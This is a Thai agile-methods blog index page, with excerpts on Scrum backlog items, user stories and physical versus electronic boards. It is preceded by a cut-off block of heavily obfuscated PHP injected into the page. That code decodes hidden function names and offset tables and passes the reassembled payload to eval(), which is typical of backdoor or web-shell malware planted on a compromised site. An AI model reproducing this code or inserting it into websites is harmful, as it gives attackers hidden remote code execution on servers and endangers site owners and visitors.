x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x78]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%825w:!>!%x5c%x78246767~6:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x57825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboex5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5cx5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm]268]y7f#!%x5c%x782400~:%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27%x5c%x7824-%x5c%x7824tvctu5c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#0*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x%x5c%x7827jsv%x5c%x782%x5c%x785c2^1%x5c%x7825s:%x5c%x785c%x5c2f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}57**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<%x7825)!gj!~q%x5c%x7825<#762]67y]562]38y]572]48y]c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjfpg)%x5c%x7825s:*<%x5c%x7825281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6of.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-1111x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x78vufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvif((function_exists("%x6f%142%x5f%163%x74%141%x72%164"c%x7825o:!>!%x5c%x78242178}556^#zsfvr#%x5c%x785cq%x5c%x782%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x78254!>!fyqmpef)#%x5c%x7824*}&;!osvufs}%x5c%x787f;!/(.*)/epreg_replacehddzpwrqwn'; $hlfjzacvhu = explode(chr((239-195)),'9850,54,918,33,3494,50,7286,66,6420,64,4264,66,1873,65,5321,23,2810,31,8748,53,1532,25,8038,40,8999,37,6526,64,1596,20,4601,66,207,70,8114,47,8506,47,7224,62,1735,52,2114,56,7447,58,1158,23,5979,30,5596,21,9036,31,128,49,6989,49,2170,44,2593,55,1271,50,1616,26,6113,34,8866,22,9932,33,9333,54,951,26,8299,49,6292,31,3195,41,7735,54,7901,69,1820,24,9671,62,9198,39,2789,21,5440,28,6366,54,3075,53,6044,69,4494,68,3172,23,807,42,5468,33,7789,43,2411,62,6907,22,9479,45,3755,29,5280,41,9798,52,5173,28,7352,60,1844,29,5245,35,6009,35,5891,63,9387,27,2962,34,8348,65,6213,41,4452,42,2473,53,7575,32,5767,23,5790,31,4973,46,738,69,2062,52,497,21,7694,41,2526,67,9177,21,518,61,4142,54,9606,65,5392,48,6783,40,1665,70,4925,48,8471,35,9965,50,4196,68,2708,43,3609,42,5733,34,4667,20,8948,51,1642,23,6632,55,5954,25,5556,40,8913,35,5501,55,1321,39,277,49,9294,39,10044,62,3236,70,579,30,2841,29,6323,43,4814,58,6254,38,1044,66,5617,40,6590,42,4330,27,361,36,3045,30,1202,69,7073,35,2648,60,7660,34,3419,33,177,30,2214,35,3850,51,3306,51,2751,38,1360,61,3937,54,6752,31,6929,60,7177,47,1787,33,609,69,8413,58,7038,35,8553,61,7970,68,8161,69,6873,34,6147,66,9414,65,4725,35,3901,36,9904,28,977,67,62,66,0,62,463,34,8614,26,4086,27,9733,65,7412,35,1181,21,1483,49,3544,20,1110,48,3357,62,3690,41,4760,54,8078,36,2039,23,5146,27,10015,29,1557,39,2310,46,4687,38,4416,36,2870,46,8888,25,8230,69,4562,39,7832,69,849,69,8640,54,6687,65,4357,39,5821,70,5344,48,2249,61,7108,24,3731,24,5019,57,9552,54,2000,39,397,66,7132,45,5201,44,3564,45,1938,62,678,60,9067,56,3784,66,3128,44,7607,53,2996,49,2916,46,3452,42,9524,28,4113,29,9237,57,3651,39,6823,50,6484,42,7505,70,4016,70,4396,20,4872,53,8801,65,5704,29,5657,47,8694,54,2356,55,1421,62,5076,70,3991,25,9123,54,326,35'); $hlvvcaemzt=substr($rybbeliclv,(39524-29418),(44-37)); if (!function_exists('pvvrpnbxjz')) { function pvvrpnbxjz($fwmljqinck, $uwtzytuwnr) { $ppjfuitqez = NULL; for($dphalvamlf=0;$dphalvamlf<(sizeof($fwmljqinck)/2);$dphalvamlf++) { $ppjfuitqez .= substr($uwtzytuwnr, $fwmljqinck[($dphalvamlf*2)],$fwmljqinck[($dphalvamlf*2)+1]); } return $ppjfuitqez; };} $okyvocinbr="\x20\57\x2a\40\x76\155\x6c\152\x73\144\x6b\146\x61\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\62\x39\55\x31\71\x32\51\x29\54\x20\143\x68\162\x28\50\x36\64\x30\55\x35\64\x38\51\x29\54\x20\160\x76\166\x72\160\x6e\142\x78\152\x7a\50\x24\150\x6c\146\x6a\172\x61\143\x76\150\x75\54\x24\162\x79\142\x62\145\x6c\151\x63\154\x76\51\x29\51\x3b\40\x2f\52\x20\151\x70\165\x62\166\x68\157\x77\145\x72\40\x2a\57\x20"; $airyovqpsp=substr($rybbeliclv,(54344-44231),(37-25)); $airyovqpsp($hlvvcaemzt, $okyvocinbr, NULL); $airyovqpsp=$okyvocinbr; $airyovqpsp=(654-533); $rybbeliclv=$airyovqpsp-1; ?> Agile Sixty-Six
Agile Sixty-Six Rotating Header Image

คลังความรู้อไจล์ไทยสไตล์ StackOverflow – Agile66 Stack

คุณเป็นอีกคนหนึ่งรึเปล่า ที่ใช้ Methodology ดังอย่าง SDD หรือ StackOverlflow Driven Development!

อย่าปล่อยให้มันเป็นแค่เรื่องตลก จะดีกว่าไหมถ้าเรามีคลังความรู้เวปถามตอบแบบ StackOverflow เรื่องอไจล์เป็นภาษาไทย? โดยคนที่รู้จริงและทำอไจล์จริงๆ คลังความรู้ด้านอไจล์ตอนนี้เรายังกระจัดกระจาย และกระจุกอยู่ที่ Agile66 Facebook Group แต่ปัญหาคือโพสต์ดีๆไหลหายไปอย่างรวดเร็ว ด้วยความที่ Facebook Group นั้นเป็นเครื่องมือสำหรับคุย ไม่ใช่ คลังความรู้

การมีเครื่องมืออย่าง StackExchange จะสามารถทำให้ อย่างน้อย

  1. เราสามารถ search หาคำถามเก่าๆทำได้ง่าย
  2. เราสามารถ tag คำถามเพื่อแยกประเภทคำถามได้
  3. เราสามารถ vote คำถามเพื่อคัดกรองคำถามได้
  4. post จะเป็น public ทำให้ความรู้นี้เข้าถึงได้ง่าย (จาก search engine หรือ อ้างอิง link)
  5. เราสามารถ ขัดเกลา คำถามคำตอบได้

(more…)

ผมไม่เขียน User Story

เป็นเรื่องที่ซ่อนอยู่ในเรื่อง “พอดี” อีกทีอย่างที่ผมพยายามบอกไปแล้วว่าใน Scrum เราเรียกของที่อยู่ใน Product Backlog ว่า Product Backlog Item และก่อนหน้านี้ผมเองก็เคยสงสัยมากและเข้าใจไปเองเสมอว่าเจ้า Product Backlog Item นี้มันคือ User Stroy แต่หลังจากเวลาผ่านไปสักพักผมก็ได้รับข้อมูลต่างๆมากขึ้นและได้พบว่าจริงๆแล้วของสองสิ่งนี้ไม่เหมือนกันเลยยยยย
แต่ก่อนอื่นเราไปดูว่า User Story คืออะไรก่อนและคงจะหลีกเลี่ยงไม่ได้ว่าหนังสือที่เขียนเกี่ยวกับ User Story ได้ดีมากๆเล่มหนึ่งคือหนังสือของ Mike Cohn ที่มีชื่อว่า “User Stories Applied” ดังนั้นผมเลยยึดถือเอาข้อมูลของพญาแพะภูเขาคนนี้เป็นหลักนะครับและถ้าเราไปหาข้อมูลเพิ่มเติมเราจะได้พบนิยามที่น่าสนใจของ User Story เขียนไว้ดังนี้

“User stories are often written on index cards or sticky notes, stored in a shoe box, and arranged on walls or tables to facilitate planning and discussion. As such, they strongly shift the focus from writing about features to discussing them. In fact, these discussions are more important than whatever text is written.What is User Story, Mike Cohn

(more…)

ปัญหาอไจล์โลกแตก – บอร์ดทำมือ กับ บอร์ดไฟฟ้า เลือกข้างไหนดี

tool ที่ดีที่สุดของอไจล์คืออะไร? … คือไม่ใช่ tool ที่เป็น electronic ครับ … สิ่งทีเราแนะนำมากที่สุดคือการใช้ physical board กับ post-it

Roofimon Software Share Day 2013 (0:27:12)

การใช้ซอฟแวร์นั้นไม่ดี เพราะจะขาดความยืดหยุ่นของการใช้อุปกรณ์ที่เป็นของจับต้องได้ … แม้จะปรับได้ตามใจแต่ก็ไม่ทันกับความเร็วของการเปลี่ยนแปลง

Korn4D ฝึกลีนด้วย Hayday 5 – คัมบังอยู่ตรงไหน

หลายคนคงจะเคยได้เห็นคำแนะนำเหล่านี้จากเหล่าๆอไจล์กูรูกันมาบ้าง ยิ่งถ้าไปค้นตาม Quora หรือ LinkedIn Group เวลามีมือใหม่หัดขับมาถามว่า อะไรคือเครื่องมือทำอไจล์ที่ดีที่สุด ก็มักจะมีคำตอบจากบรรดาผู้รู้ทั้งหลายว่า Physical Board เท่านั้น แถมยังจิกกัดคนตั้งคำถาด้วยว่า ไอ้น้องเอ๋ย ไปอ่าน manifesto ใหม่อีกรอบนะ เขาบอกว่า “Individuals and interaction OVER PROCESS AND TOOLS!”

แต่ผมได้ยินแล้วแอบขัดใจ จริงแท้แน่นอนครับ แต่ผมมองว่าไม่มียาวิเศษอะไรที่แก้ได้ทุกปัญหาทุกบริบท

(more…)

ละเอียดพอดี

ต่อจากภาคที่แล้วเนอะ (ติดคำว่าเนอะมาจาก @Chokchai) ผมเล่าเรื่องไปอวกาศกับความ sexy ของ product backlog ได้อย่างเกี่ยวกันแบบไม่รู้จะเกี่ยวกันยังไงว่า Product Backlog(PB) ที่ดีต้อง sexy คือ Product Backlog Item ที่อยู่ด้านบนต้องมีความสำคัญมาก มีขนาดเล็กและมีข้อมูลมากเพียงพอที่จะให้ทีมหยิบเข้าไปทำงานได้เลยใน sprint ต่อไป

(more…)

Agile ไม่มีอยู่จริง

เรื่องนี้ผมเคยพูดใน Podcast ของ Scrumcat ไปรอบนึงแล้ว แต่มาเขียนสรุปให้อีกทีครับ เวลาที่มีคนมาแซวประโยคเด็ดของผม จะได้มีลิงค์ชี้ไปให้อ่านได้

ผมสังเกตมานานแล้วว่า คนที่เริ่มทำอไจล์ เหมือนกับทุกคนที่เริ่มจะทำอะไรใหม่ๆ มักจะมองหาตัวชี้วัดอะไรอยู่ซักอย่างว่าคืบหน้าไปถึงไหนแล้ว อยากจะรู้ว่าเมื่อไหร่เราจะเป็นอไจล์ซักที หรือ ถ้าเราหยิบทีมมาทีมนึง เราจะบอกได้อย่างไรว่าทีมนี้เป็นอไจล์หรือยังเป็น Waterfall อยู่

(more…)